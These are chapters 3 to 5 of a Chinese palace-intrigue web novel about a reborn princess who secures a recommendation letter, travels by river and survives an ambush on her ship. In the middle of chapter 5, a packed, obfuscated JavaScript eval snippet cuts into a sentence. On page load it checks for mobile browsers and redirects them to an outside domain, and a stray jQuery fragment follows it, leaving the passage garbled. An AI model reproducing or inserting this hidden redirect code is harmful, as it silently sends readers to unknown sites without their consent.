《成婚前你不是这么说的!》 3. 第 3 章 兰台是宫中藏书修史之地。 直到及笄前,骊珠都和弟弟沈负在兰台内听太子太傅讲经,对这里十分熟悉。 算着时辰,骊珠刚好在早课结束时入内。 太傅放下经书,看着底下睡着了的小皇子,忍不住摇头轻叹,余光瞥见骊珠,突然眼前一亮。 “公主怎么来了?老臣见过公主。” 腰还没弯下去,就被骊珠亲自搀扶了起来。 一抬头,太傅便见公主目光炯炯,直勾勾盯着他瞧。 太傅疑惑:“老臣今日……须面可有不洁?” “不是,”骊珠笑了起来,“好久没见小老头你了,有些想你。” 面上在笑,但骊珠心中却有些酸涩。 前世的太傅甚至没熬到南雍亡国那日。 南雍第一次战败于北越,朝中决定向北越缴纳岁币时,太傅便率主战派的群臣上了无数折子。 明昭帝视若无睹,太傅便长跪于玉堂殿外,恳请派兵出战。 明昭帝仍是不允。 就在押送岁币的车队从雒阳启程的当日,太傅府中传来消息—— 太傅闭门七日,绝食而亡,死时保持着叩拜的姿势,正对雍朝旧都的方向。 前世灵堂与眼前身影重叠。 “公主越是这么说,越叫老臣颇为警惕啊。” 看着与自己孙女一样大的公主,白胡子太傅笑得眼尾一叠褶子。 “上次公主硬要老臣带着公主的墨宝去月旦评,岂料声名鹊起,满雒阳的人都在打听,那是哪位名家之作,差点没瞒住——这次可别再让老臣做这种事了。” “这次不是!” 骊珠忙解释道: “我今日来,是想让太傅写一封举荐信,举荐一位学子做当世大儒谢稽的入室弟子。” 这个答案着实在太傅的意料之外。 见骊珠神情认真,不似玩笑,太傅知道她有话要说,看了看四下,抬手引她入内室。 在一扇雕镂漆屏前落座后,他细细追问: “公主久居深宫,鲜与外人往来,不知哪家学子有这等殊荣,能得到公主亲荐?” “其实我也不是很清楚。” 骊珠佯装天真无知,眨了眨眼道: “是玉晖哥哥请我帮这个忙,说谢稽虽有大才,但脾气古怪,轻易不收外姓弟子,也就只有太傅和谢稽交情好,能给这个面子。” 太傅听得眉头直打结,望着骊珠,一副欲言又止的模样。 举荐一个学子,倒不是什么大事,只是此人日后入仕,必会成为覃氏的羽翼之一。 公主这是在给他人做嫁衣啊。 但他能说什么呢? 南边本地豪族势强,南雍朝廷迁都至此,想要政令通达,就必须培植覃氏外戚,与这些豪族相抗。 即便以后覃氏势大,恐会危及皇室,那也是以后的事。 覃氏嫡长公子尚主已成定局。 太傅没有多言,取来简牍,提笔写了开头,问及对方姓名。 “伊陵裴氏,裴胤之。” 骊珠托着腮,念出这个名字时,面上笑吟吟的。 太傅却心头有些犯嘀咕。 伊陵裴氏? 覃家这从哪儿挖出来的破落户? 太傅暗暗叹了口气,提笔写就,盖上阴文印章。 将举荐信交给骊珠时,又谆谆道: “如今朝廷中有识之士不少,有能力做实事的却不多,不论是何立场,待此人日后出仕,还需谨记,忠于陛下,忠于南雍百姓……” “太傅放心!” 骊珠飞快夺过举荐信,太傅一惊,抬头正对上小公主明亮笃定的眸色。 “他虽尚未及冠,但才华横溢,身弱志坚,一生志向,只求收复北地十一州,为此可以肝脑涂地,死不旋踵!若他入仕,必能整合一盘散沙的局势,成为南雍官场的栋梁!” 小老头听得一愣一愣。 “……我们南雍,还有这等少年英雄?” 骊珠肃然颔首。 这些话并不是骊珠说的,而是前世的三公之一,御史大夫徐梦玄,亲口对群臣所言。 据说裴胤之升迁至雒阳为官后,徐梦玄对这个年轻人青眼有加。 得三公盛赞,裴胤之初入雒阳,便名声大噪。 但后来也有许多风言风语,说徐梦玄是受了裴胤之的胁迫,才被逼说出这番浮夸至极的违心话,替他造势。 骊珠听到这样的谣言,嗤之以鼻。 一群软骨头,倒诋毁起了南雍的大英雄。 除了“学识过人”这一句,有那么一点水分,其他哪句话有假? 裴胤之入仕前,朝中主和派占尽上风。 南雍向北越交了一年又一年的岁币,养肥了北越的国力,喂饱了乌桓人的马。 要不是裴胤之扛起了主战派的大旗,等不到熹宁七年,南雍早亡了。 这些百官公卿读尽圣贤书,也不知怎么,竟读出了一副善妒嘴脸。 一桩心事了却,骊珠与太傅告辞,脚步轻快地踏出了内室。 “这是什么东西?给我看看!” 稚童嗓音毫无征兆地响起。 几乎是立刻,浑身血液直往脑门上冲的骊珠反应迅速地侧身,将举荐信护在怀中,让对方抓了个空。 那男孩踉跄了一下,差点摔倒,回过头来勃然大怒。 “护得这么严实,什么见不得人的东西!” 虽然眉宇稚气,但小男孩的五官轮廓都已有少年隽秀的影子。 尤其是那双与明昭帝一模一样的眼,天生带着一种不怒自威的庄严,乍一看很能唬人。 这便是骊珠同父异母的弟弟,覃皇后之子,沈负。 “……关你什么事。” 骊珠将信缓缓藏在身后,假装镇定,觑他一眼: “脸上红印这么深,今日早课又睡过去了?沈负,你那本《开蒙要训》该不会今年还学不明白吧?” 语气虽平淡,但骊珠的心跳早已快得不堪重负。 绝不能让沈负看到裴胤之的名字。 一旦这封举荐信落到覃皇后手中,裴胤之便会被划为公主一党,覃皇后绝不会让他有出头之日! “你敢笑话我!”沈负大怒。 她还敢炸死他呢! 骊珠在心中气急败坏地暗骂。 沈负道:“你识的字多有什么用?及笄之后你就不能来兰台听学了,我想学多久就学多久,沈骊珠,你羡慕死了吧!” 八岁的小男孩正值人憎狗嫌的年纪,笑容更显十分恶劣。 骊珠知道自己不该和小孩子一般见识。 但她还是被这话气得涨红了脸,因为沈负说得没错,她确实羡慕死了。 “让开!” “我就不让,除非你把你手里的东西给我瞧瞧!” 骊珠刚要回落的心再度悬了起来。 覃皇后生性多疑,别说这封举荐信的内容,就连这信的存在都不能让她知道,否则此行出巡,更将困难重重。 怎么办? 怎么才能分散沈负的注意力? 骊珠深吸一口气。 “……兰台听学算什么?等我日后开府出宫,我就把太傅请到公主府给我授课,反正父皇疼我不疼你,肯定会答应的。” 沈负顿时变了脸色。 和骊珠一样,他也有一戳就中的怒点。 “太傅是太子的太傅!岂能给你一个人授课!” “可你又不是太子,我有两个郡的食邑,父皇给了你什么?” “你!你!你——等着!沈骊珠!我以后定叫你知道我的厉害!” “以后?你以后能怎么厉害?” “我是父皇唯一的儿子!等他死了,我就是南雍天子!” 小男孩稚嫩狂悖的声音回荡在兰台四周。 几名小吏捧着简牍经过,闻声朝这边看了过来,频频交头接耳。 从内室而出的太傅惊得声音都变了调。 “殿下!不可妄言啊!” 可骊珠等的就是他这句妄言。 她怒斥:“沈负!你敢咒父皇死,你好大的胆子!” 沈负也反应过来,自己似乎说错话了,但还没来得及狡辩,就被恶向胆边生的骊珠推了一把! 太傅年迈,嘴跟不上脑子,只能眼睁睁看着骊珠将沈负一把推入了兰台旁边的荷花池中。 噗通——! “……快来人!大皇子落水了!” 颤巍巍的太傅上前,确认沈负真的落水,眼前一阵眩晕。 “公主!您今日是怎么了!您、您平时从来不会这么鲁莽行事……” 趁宫内卫士还没赶来,骊珠将举荐信偷偷塞给了太傅。 “这个先放在您这里,还请太傅务必好好保管,绝不能让任何人知晓内容,待我出巡前一日,我再亲自来取。” 她望着荷花池里扑腾的小男孩,冷静道: “从前是我太懦弱,才会纵得沈负对我愈发 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灌入鼻腔里的水像刀子一样刺痛大脑,耳内嗡嗡作响,身体沉得像铅,求生欲驱使人奋力挣扎,然而越是拼命拍打,越是不住地往下沉。 秋水彻骨寒凉。 投水之时,卫士就在不远处,骊珠知道自己不会死。 今日如果只有沈负落水,她定被问责,可若她也一并落水,这就只能算得上姐弟争执的小事。 各打五十大板,覃氏还能说什么? 这是最好的解决办法。 就是窝囊点而已。 还好她这一生,窝囊的日子比得意的日子多,重新习惯这种窝囊日子,对她而言就和呼吸一样简单。 - 骊珠这一跳的代价是卧床十日。 途中高烧两日,咳嗽五日,吃什么吐什么又三日,着急上火的明昭帝命御医轮番按脉诊病,折腾得骊珠整个人都清瘦了一圈。 病中的骊珠一连做了许多噩梦。 她又梦见沈负登基,要将她送去和亲的事。 …… 那时,骊珠试图拉拢朝臣,被婉言回绝;尝试着请前夫覃珣向覃太后求情,他却避而不见。 无路可走时,骊珠听到一些风声。 ——朝中那位主战派的领袖,裴胤之裴太仆,似乎对自己有意。 于是她硬着头皮,向素无往来的裴府递了名帖,邀他入公主府赴宴。 那夜,公主府内的灯火格外暗,骊珠刻意没去细看他的样貌,只按照计划,将琉璃杯中的酒浆笨拙地洒在那人的玄黑官袍上。 丝竹声歇,歌伎悄然退下。 骊珠颤抖着,将手伸向他的腰带,陌生的男子气息近在迟尺。 “长公主,夜色已晚,臣回府更衣即可。” 裴胤之忽而攥住她的腕骨,嗓音淡而温和。 “长公主无需忧心,只要神女阙前将士热血一日未凉,就不会将一国社稷,托付于女子裙摆之下。” 骊珠抬起头,那是她第一次正眼看向这个出身寒门的年轻文臣。 他有英挺的鼻梁,含笑的眉眼,这是个极英俊的青年。 翌日早朝,裴胤之一介文臣之身,主动请战,赴神女阙退敌。 骊珠知道他此战大捷,也知道他大胜回来后的第一件事,便是请旨赐婚,尚清河公主。 但梦里的她却跌跌撞撞追赶在他身后。 不要去! 他的敌人不在陈兵边境的北越军中,他身后的母国也绝非他的盟友。 即便他这一战能胜,也将留下病根,在三年之后夺走他的性命! 有人宁可让南雍屈辱和谈,也要他横死边境,保住自家的荣华富贵! 那个人—— 那个人——!! …… “公主可是梦魇了?” 骊珠霍然睁开双眼。 傍晚霞光照进寝殿内。 一支斜插在乌发间的凤钗筛下几缕血色残阳,给榻边女子的面庞镀上一层鎏金色的光晕。 见她醒来,覃皇后拿起了案几上的药碗,慢悠悠地搅动。 “听闻公主之前想去封地巡游,可看公主眼下这状况,瞧着还是留在宫中静养为好,公主放心,你父皇已经罚了负儿五十个手心,狠狠替你出了气,你现在若再执意走,倒显得像还在负气,叫我不好做,是不是?” 4.第 4 章 果不其然,打了小的来了老的。 骊珠藏好自己见了鬼似的惊惧神情。 覃皇后闺名覃宣容,出自宛郡覃氏三房一脉,和当今官至尚书令的覃氏家主覃敬是堂兄妹。 她显然不是那些仰仗皇帝宠爱,才能在宫中立足的平民皇后。 骊珠害得沈负落水,让她儿子手心被抽得皮开肉绽,她自然要来找骊珠算账。 其实覃皇后要怎么算账,骊珠都无所谓,但她不能阻拦自己这趟出巡。 骊珠垂下眼,怯怯懦懦的样子。 “……您不能……这是父皇允了我的……” “不能?” 覃皇后微笑,将盛着药汤的勺子递到骊珠唇边。 “我这都是为了公主着想,大病初愈,怎么能叫人放心让公主独自出远门呢?” “太医说,不算什么大病,再养几日就能大好,真的。” 骊珠紧抿着唇,偏过头去。 “皇后娘娘……还是多关心一下沈负吧。” 覃皇后收回手,将勺子随意丢回碗中,搁置一旁。 “哦?关心他什么?” “兰台那日,他说了些什么,难道没有人告知——” “那日当值的几名小吏,背后议论皇家是非,兰台戍守的卫兵更是护卫不利,害得皇子落水公主染病,当日在场二十七人,论罪当诛。” 覃皇后打断了骊珠的话头,平缓语调中透出肃杀之气。 望着骊珠苍白如纸的脸色,她弯了弯唇角。 “负儿说了什么?还请公主告知。” 仿佛一盆冰水浇下。 骊珠瞳仁颤动,怔怔吐字: “我……忘了,也不是什么……重要的话。” “这样啊。” 狭长凤目饶有兴味地审视着骊珠,像是在欣赏她的惊惧惶恐。 须臾,她面上肃杀如东风解冻,一眨眼和煦如春。 “那二十七人虽说论罪当诛,但公主大病一场,宫中也不宜见血光……这样吧,公主要是执意想去封地,就让这些人一路随行,差事办得好,算将功折罪,办不好,再数罪并罚,公主以为如何?” 少女闪动着泪光的眼眸一亮,不敢置信,连忙点头。 覃皇后又命身旁女官端来药汤,一口一口,微笑着喂骊珠喝下。 “公主心善,是他们的福气,只是我很好奇,公主平日是最不爱出门的一个人,怎么就突然一时兴起,要去封地出游?” 她用玩笑般的语气道: “莫非外头有什么东西,勾了公主的魂?” 骊珠怯声答: “不敢欺瞒娘娘,下个月就是我生母诞辰,我怕父皇见到我,又牵动心中愁肠,所以,不如离宫出游,或许父皇就不会记得这件事了。” “……” 极具压迫感的眼神,似钢刀刮过少女低垂的侧脸。 十六岁,正值碧玉年华,朝露春晖般的美貌。 据宫里的老人说,清河公主与先皇后生得七八分相似,小公主娇憨灵动,先皇后秾艳殊丽,母女二人都是世间少有的绝色。 宓姜,宓姜。覃皇后在心底默念着这个名字。 她应当是绝色,必须是绝色,否则,怎么能以浣衣女这样的卑贱出身成为一国之母? 又怎么能……死后多年仍让一位君王念念不忘? 覃皇后收回视线,索然无味似地起身。 “难为公主一份孝心……好生养病吧,少府与宗□□很快就会替你打点好船只行装,等太史令观星择日,定下日子,便可启程。” “多谢娘娘。” 等到皇后一行人彻底离开,骊珠才抬起头。 覃皇后还是老样子,遇事不决先杀人,一提先皇后就变脸。 不远处的铜镜映出一张略显颓唐的脸蛋。 时隔多年,她演窝囊废还是那么信手拈来,真不知是好事还是坏事。 骊珠揉了揉脸。 总归还是好消息更多。 没人丢命,她也能顺利出宫,就算之后还有千难万险…… 关关难过关关过吧。 - 季秋初七,枫叶红霞举,宜出行。 明昭帝命人备了金根车,六马并架,亲自送骊珠从中门天子驰道而出。 原本是君王爱女之心,群臣都睁一只眼闭一只眼,但偏偏,他让覃皇后和皇子沈负也一并随行相送。 皇后皇子不与天子同乘,车马仪仗只能从侧门而出。 目睹此景的百官公卿愁苦了脸。 须知当初先皇后诞子,刚过百日,明昭帝就破例加封这个孩子为清河公主,赐一个县的食邑。 清河公主六岁时,先皇后病故,明昭帝哀恸万分,又给了清河公主两个郡的食邑,规格比肩皇子亲王。 而皇子沈负,作为明昭帝的嫡长子,还是独子,长到八岁尚未得什么荣宠。 今日更是公主出中门,皇子走侧门。 世人都说,母凭子贵。 可落在南雍的两位皇子公主身上,却是有目共睹的子凭母贵。 骊珠也满面愁容。 前世沈负继位后,她被清算得那么惨,其中有她父皇一半功劳。 洛河近在眼前。 实在不能再送了,明昭帝依依不舍,嘱托再三。 “……除了少府和宗政府安排的人以外,父皇还安排了校尉陆誉,率卫兵随行,此人可信,这一路就由他,还有你那个……” 明昭帝环顾四下,没瞧见熟悉身影,问: “对了,你身边那个叫长君的小宦官呢?” 骊珠眨了眨眼:“我让他先一步押送箱笼上船了。” 明昭帝不疑有他,微微颔首: “上船后,让他与陆校尉碰个面,我记得那个小宦官身手不错,这一路有他们,父皇才可放心。” 骊珠乖巧应下。 交代完这些,明昭帝拍了拍骊珠的肩,眼中似还有千言万语,但最后只道: “这一去,山高水远,父皇鞭长莫及,真的非去不可?” “您不会这个时候反悔吧?” 骊珠语速飞快,急切道: “父皇若觉得我只是游山玩水不妥,我可替父皇沿途巡视河工,视察盐铁;若是觉得开销过大,也可以再精简物资……” “说什么胡话,天家公主,何须为这些俗事操心?” 明昭帝朗声而笑,摸摸她的头。 “跟你的驸马游山玩水去吧,父皇回了,祝我麟儿此去,一帆风顺。” 天子车架浩浩荡荡返程,骊珠站在原地目送。 刚要升起几分离别愁肠,皇后舆驾上的轻纱被风吹动,骊珠正对上覃皇后的目光。 几乎是立刻,她转过头,拉着身旁的女官玄英。 “快走快走!” 一脸的惊惧慌张,仿佛身后有鬼在追似的。 覃皇后见状,扯了扯唇角。 “娘!” 坐在她旁边的男童不满出声,举着包成粽子的手缠住母亲的臂弯。 “为什么不替儿臣出气!沈骊珠欺人太甚!她该死!” “嘘——” 冰冷修长的食指抵住他嘴唇,覃皇后俯瞰着稚子。 “口无遮拦的亏还没吃够吗?再胡言乱语,就将你这张嘴缝上。” 沈负瑟缩了一下。 覃皇后移开视线。 “莫急,只要权柄在握,这口气,想顺下来还不容易吗?” - 玄英搀扶着骊珠登上船。 “公主别怕,人人都知道,负责这趟出巡巡防的是卫尉府,卫尉杨琨正是皇后娘娘的外甥女婿,公主这趟有任何差池,皇后逃不了干系。” 骊珠闻言却摇摇头: “你不了解皇后,她不是个正常人,她发起疯来,连覃氏都管不住她。” 但即便如此,骊珠也必须要出宫。 留在宫中的结局,她前世已经历过一次,不过是温水煮青蛙一样等死。 她没有选择,必须出宫一试。 玄英瞧了骊珠好几眼。 小公主这段时日愈发风声鹤唳起来,若说她胆子小,却又敢千里迢迢出这趟远门,真叫人有些不解。 “——属下陆誉,陆无咎,参见清河公主。” 只听哐当跪地一声,骊珠回头,没瞧见说话的人长什么模样,倒先看到了一双抱拳高举的手。 骊珠忍不住轻笑,道: “校尉免礼请起。” 起身站定后,骊珠发觉此人身长八尺有余,姿貌雄伟。 “这趟出巡,辛苦校尉调度安 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“……还不够严密,你再安排三人盯着膳房,入口的每一道膳食——我是指你们所有人——都要有人试菜,另外,全队上下务必滴酒不沾。” 陆誉若有所思。 看来这小公主是不信任卫尉府的人了,否则,这些话应该召船上另一位卫尉少卿来,一并交代才对。 “喏。” 陆誉又道: “既然如此,后半夜也由属下亲自轮值,还可顺便将御船内外巡一趟。” 骊珠颔首。 “不过……公主是担心匪患?我们此行途径的路线,都是少府和卫尉府反复斟酌制定,又是御船,公主其实大可安心。” “宫里当然尽了心,但有些地方,却也力不能及。” 陆誉:“此话何解?” 眼前犹带稚气的小公主换上了一副肃然神色。 “这几年,天下群盗猖獗,啸聚山林,地方上又有许多官员不作为,父皇前些年便颁了法令,若不及时剿匪,或剿匪不力,二千石及以下的官员一律处死。” 陆誉:“这不是一桩好事?” 骊珠摇头: “法令虽好,但用刑太严,反倒让地方官员畏诛,层层隐瞒,致使群盗坐大,朝廷知道时,局面已经不好收拾。” 陆誉恍然,看向骊珠的目光中有诧异之色。 骊珠继续解释:“所以,我们途中若遇不上匪盗便罢,如果遇上,必是悍匪……不对,连出巡的御船也敢劫,这恐怕不是悍匪,得叫反贼才对。” 待她语气凝重地说完,抬头一看,瞧见陆誉一脸的如临大敌。 她忙道:“这也只是最坏的打算,应该不至于这么不巧,只是想提醒陆大人,切莫大意而已。” 比起八竿子打不着的匪贼,还是覃皇后更危险些。 但无论如何,此行都必须提高警惕,才能随机应变。 “陆誉明白,多谢公主提点。” 听了这番话,陆誉再不敢小看这位久居深宫的小公主。 他心悦诚服地拱手道: “公主虽居深宫,却坐知天下,属下佩服。” 骊珠愣了一下,抿唇露出一个略带怅然的浅笑。 陆誉辞别后,骊珠登上船舷。 烟波浩渺,洛河风光尽收眼底,视野一下宽阔起来。 想起方才陆誉的话,骊珠有些出神。 她当然不是平白无故就能坐知天下的。 从前覃珣防备她,不与骊珠谈论政务,也不长居公主府。 裴胤之却从不避讳。 大约是看出骊珠对这些事感兴趣,他一向有问必答,不问也答。 裴胤之权势最盛时,常在公主府内召重臣开小朝会,曾经父皇从不让她沾手的政务,在那时,常常取决于她一念之间。 这条法令后来就是废在她的手中。 彼时,裴胤之见她高兴,抚着她的鬓发问: “公主真的就这么讨厌匪贼?” 骊珠从他怀中抬起头,下颌抵着他的胸膛,直笑。 “当然啦,难道这天底下还会有人喜欢匪贼?” 她希望天下安定,海晏河清。 她知道,裴胤之亦是如此作想。 5.第 5 章 枕着微微颠簸的湖光山月,骊珠一夜好眠。 醒来时天光熹微,推窗望去,连山秀举,罗峰竞峙,已不见岸上城池。 一问才知,他们已经顺着洛河,北出黎山。 骊珠打了个哈欠,慵然坐在妆镜前,任由女婢替她梳洗。 还差几支钗环没戴好时,玄英入内,她屏退四下,拿起桌上簪花,附在骊珠耳边悄声道: “天明前趁着晨雾,长君派了信鸽来传话,公主让他预备的东西,都已经伪装成寻常货物送上货船了,货船一路紧随其后,请公主放心。” 提起这个,骊珠顿时眼尾弯弯: “那就好。” 御船人多眼杂,她带上船的东西都会有专人登记在册。 若是些衣裙钗环、熏香脂粉之类的自然无所谓,但有些东西却是给裴胤之准备的,带上船难免惹眼,也不好解释。 临行前,骊珠便让她身边的宦官长君,私下出宫采买,装作药商,另乘一艘船跟在后面。 没错,骊珠让长君去采买的东西,大多都是药材。 她曾听一位与他同乡的官员称,裴胤之尚未出仕时,其实是伊陵郡出了名的病秧子,长到十几岁,几乎没出过裴家大门。 骊珠对此其实有些半信半疑。 因为,哪怕是在雒阳最冷的日子,裴胤之的身躯也如炭火一样炽热。 而且她与裴胤之成婚三年,但凡他在家,但凡不是她月信的日子,他几乎夜夜都会缠着她…… 总之,看上去跟病秧子这三个字没有任何关系。 可他最后到底还是因伤重不治而死。 骊珠不知道这和他曾经是“病秧子”有没有关系。 但没关系,整个雒阳的药铺,包括宫内的名贵药材,她都让长君精心挑选了一遍,随行队伍里也不缺医官。 再怎么体弱多病,应该也能补回来几成吧? 满怀着期待,几日行船赏景,时间一掠而过。 五日后一早。 骊珠正用午膳时,有人突然来报,称原定路线有所变动,或许要绕路,耽搁两日。 骊珠这一路本就时刻悬心,听了这话,顿时警觉审视对方。 此人名叫方渐,正是卫尉府派来负责此次出巡之人。 “前头再行二十里就要汇入熏江,进入宛郡范围,为何突然要走燕水,从伊陵郡的方向绕道?” 方渐垂着头,恭敬解释: “回公主,昨日宛郡太守差人送来消息,熏江以西,有一处葭草渠,近日才发现那里有一伙水匪藏匿,打劫过往船只,所以差人速来知会。” “水匪?”骊珠追问,“这一伙水匪有多少人?” 方渐答:“人数倒不多,太守已派人前去剿匪,只是发现得晚,还需时日,恐零星逃匪逼急生事,所以提议绕道。” 他将宛郡太守送来的简牍呈上,骊珠仔仔细细看了好几遍。 简牍交代了这伙水匪的来历,过往恶行,来龙去脉详实,末尾还有太守官印,不似临时作伪。 骊珠抿紧了唇,看向一旁跨刀而立的陆誉。 他沉思片刻,道: “御船行路求稳,这些水匪虽不成气候,但未免冲撞公主,绕道的确更妥。” 陆誉都这样说,骊珠没有理由再反驳。 “……那就走燕水吧。” 方渐噙着笑意退下。 玄英见她心神不宁,温声安慰: “现在船上守备严密,水匪也提前绕道避开,只是耽搁一两日,公主宽心。” “这些贼匪真是可恨!” 骊珠气恼地锤了一下桌面。 “多绕几日的路,就多提心吊胆几日,待日后……我定要想办法剿灭这些无法无天的匪贼!” 玄英笑:“何须待日后?到了宛郡,珣公子就会来接应我们了,届时公主提一提,珣公子必定会督促地方官员加紧剿匪。” 一片枫叶随风飘落船舷边,骊珠捏住叶茎转了转。 她垂眸道: “他就算了,指望谁,我都不会指望他的。” 过了午时,御船改道,驶入燕水。 骊珠心事重重之际,船上众人已被两岸重岩叠嶂的景色吸引。 如今正是霜降后。 山间寒寂,层林红叶尽染,深浅不一的枫叶如红霞,与天色连成一片蔚然霞光。 两岸更有大片荻花荡,江风一吹,花絮飘扬如雪。 这里,便是裴胤之的故乡。 但很可惜,按照骊珠的计划,她得先去宛郡与覃珣碰面。 由覃珣护送她到清河郡之后,她先敷衍他一段时间,再找个借口甩掉覃珣,然后才能启程去裴胤之所在的伊陵郡。 否则,她没有理由先在伊陵郡逗留。 骊珠计划得很好。 然而当夜,丑时三刻,酣睡中的骊珠被破门声惊醒。 “快把公主叫起来!快!船上有贼人潜入,正四处搜寻,公主必须乘小船离开!立刻!” 陆誉浑厚嗓音如雷鸣乍响,将舱房内的女眷们从睡梦中惊醒过来。 “什么!?” “哪儿来的贼人?这可是御船!” 悬在头顶多时的利剑终于落下,骊珠心底一片寒凉。 果然还是出事了。 玄英反应最快,一边抓起衣裙给骊珠囫囵穿上,一边焦急问: “船上的卫兵呢?” 火把摇曳,陆誉守在门边,一手按剑,目光警惕地四处打量。 “膳房每日子时都要给值夜卫士送宵夜,没想到今夜有人下药!我们的人安排了试菜,没中招,但巡防的卫士都被迷晕了,余下的人手不足三成!” “这伙贼人人数在我们之上,留在这里太危险了,来之前我已经派人去准备小船,趁还没被合围,公主先行,我们断后——都收拾好了吗?” 在玄英的指挥下,舱内女婢们都已迅速收拾妥当。 陆誉立刻率人一路护送着往船尾走。 匆忙逃跑中,被众人簇拥的骊珠却百思不得其解。 这些贼人怎么做到的? 船上巡防如此严密,外来人不可能有机会下药,难道说贼人早就潜伏于船上? 不对,这也说不通! 尚未来得及细思,跨出舱门时,一声刀剑相撞的铿锵脆响骤然炸开! “保护公主!” “擒住公主!” 两道声音同时响起,陆誉横刀格挡,抬脚踹飞了两名埋伏门边的贼人,其余五名卫士护着骊珠等人,朝船尾且战且退。 女婢们惊声尖叫,齿关打颤的玄英将骊珠半搂在怀中。 心跳如擂鼓的骊珠回头朝船尾一看,更是眼前一黑。 ——船上备用的三艘小舢板都被人砸烂了! 寻常贼人怎会如此缜密? 一支凤凰金步摇在骊珠脑海中一掠而过。 骊珠脸色瞬间苍白。 “公主——!!” 水面忽而有个清亮嗓音,急声唤道: “公主!玄英!快上船!我是长君!” 长君! 简直是柳暗花明,骊珠扑向船尾右侧,果然在一片黑茫茫的江面上瞧见了一个冲她们招手的小宦官。 连骊珠自己都差点忘了,她们还有一条船呢! 众人绝处逢生,欣喜若狂。 那漕船跟御船相比虽小,但容纳骊珠身边这些人不是问题。 有女婢回头喊:“陆大人!快上船!” 长君站在甲板上,接应女眷们逐一往下跳。 陆誉退至船舷边,见骊珠安全上船,他果断道: “贼人有弓箭,若无人断后,乱箭必至,公主放心,我等水性好,等你们走后入水四散,沿岸上走,再与公主汇合!” 骊珠也知道,此刻不是优柔寡断之时,当即应了下来。 又回头,握着长君的手臂道: “这些贼人的目标是我们,船夫们若体力不支,立刻安排其他人替换,今晚必须全速行驶,切不可大意!” 长君显然不明白这些匪贼不去搜刮船上财宝,怎么会拿他们当目标。 但他还是立刻答: “长君明白!此地危险,还请公主速去里面一避!” 水波荡漾,风鼓船帆。 火光与叫杀声越来越远,众人紧绷的神经终于稍稍放松下来。 “公主可有受伤?”玄英寻来一条毯子,将衣衫单薄的骊珠紧紧裹住。 骊珠尚有些茫然地摇摇头。 “我没事,其他人呢?” “让长君清点去了,多亏陆大人和长君护卫及时,应该都只是受了惊吓……先前我还觉得公主太过谨慎,没想到还真有贼人如此胆大包天……” 这可是御船啊! 他们怎么敢! “寻常贼人当然没有这样的胆子。” 浓黑瞳仁在黑夜里定定不动,骊珠清醒而冷静地道: “有人想让我死在这里,又不敢露头,谋划着将罪名栽赃给此地匪贼,自己隐在背后,全身而退。” 玄英面色骇然,心底一片清明。 “您是说……她真是疯了,她怎么敢!公主要是真有个三长两短,她要如何收场?” 如今雒阳一带的本地世族,与覃氏算得上平分秋色。 明昭帝身体康健,覃氏还要借外戚的身份培植党羽,才能在雒阳站稳脚跟,远不到权倾朝野的地步。 她怎么敢擅自撕毁与明昭帝的联盟,不计后果!痛下杀手! 但事实摆在眼前。 骊珠闭了闭眼,枕着玄英的肩,她轻声道: “皇后与覃氏一荣俱荣,就算覃氏族人知晓今夜之事后,再生气,也不能拿她怎么样,只会全力替她收拾烂摊子。” 骊珠深觉自己天真。 竟然以己度人,认为人人都和自己一样,做事需权衡利弊,斟酌再三。 更笃定覃皇后就算看她再不顺眼,也不会在这个阶段真的要了自己的命。 要是丢了自己的命倒也无所谓,可她却牵连了旁人。 前世她赴死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874781|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,好歹安置好了这一船人,没道理重活一世,反而害得她们无辜早死。 玄英愣了好一会儿。 “……我的公主啊……” 她将骊珠紧紧揽在怀中,潸然泪下: “倘若宓姜娘娘还在世,您何至于,何至于受这样的苦……” 骊珠心里也酸酸的,抬手替玄英抹了抹眼泪。 “我不苦的,玄英,别哭啦,我们哪里都不去了……就去宛郡,去见覃珣,我会嫁给他,我们不会有事的。” 待玄英迷迷糊糊睡着后,骊珠悄悄打开货仓里的箱子。 里头装满了她想带给裴胤之的东西,但发生了这样的事,她已不能再提前与裴胤之相见,否则便是害了他。 她抱着膝,安静地看了好一会儿。 她会记着今日的无能。 几滴眼泪落入箱中,谁都没有瞧见。 漕船顺着燕水而下。 不知过了多久,夜幕褪去,天空染成深蓝色时,船底忽而传来砰地一声巨响,整条漕船重重颠了颠。 女婢们惊惶尖叫。 骊珠与玄英同时惊醒,守在舱门处的长君倏然睁眼,几乎是立刻提剑跳了起来。 有人凿船! 长君道:“公主稍安勿躁,我去瞧瞧!” 骊珠也立刻探窗查看。 借着将明未明的天光,骊珠打眼一看,竟在水面上隐约瞧见了四五个人头。 这还是她眼前的,隐匿在周遭黑暗中的更不知道有多少。 骊珠霎时冷汗湿透。 “玄英,你去备船!” “……公主!你去哪儿公主!” 将玄英的声音抛在身后,骊珠提裙匆匆跑到船底,招呼着摇橹的女婢们上来。 “玄英去准备小船了,别怕,跟我走!” 出了船舱,众人才发现,原来这些人不只是在凿船,漕船的另一侧也被他们挂上了铁钩。 女婢们长居深宫,何曾见过这等场面? 众人吓得腿软,全都没了主意,更顾不得什么主仆尊卑,她们紧紧跟随在骊珠身后,反被骊珠拉着一一送上了小船。 长君将试图爬上船的两人踹了下去,甩了甩剑上血水,回头看了一眼。 “玄英!快让公主上船啊!” “我知道,公主,快把手递给我!” 玄英被骊珠推搡着上了船,立刻反手要去抓骊珠的手,忽而瞳孔一缩—— “公主!!” 不过一眨眼,骊珠突然感觉船只往后猛然一动,伸出的手竟与玄英一下子拉开了一大段距离! 铁钩连着绳索,另一端握在岸上人的手中,漕船正被一股悍然力道拖拽靠岸。 “呵,想跑?” 蒙面的方渐低喝一声: “先除清河公主和这个小阉人,其余人再慢慢料理!给我继续用力拉!” 漕船触岸狠狠一撞,船舷边的骊珠站立不稳,一下子跌入水中。 好在岸边水浅,骊珠挣扎几下便勉强站稳,她淌过荻花荡,对着混战中的长君大喊一声: “长君!往林子里跑!他们选在这里刺杀,此地必有大盗!” 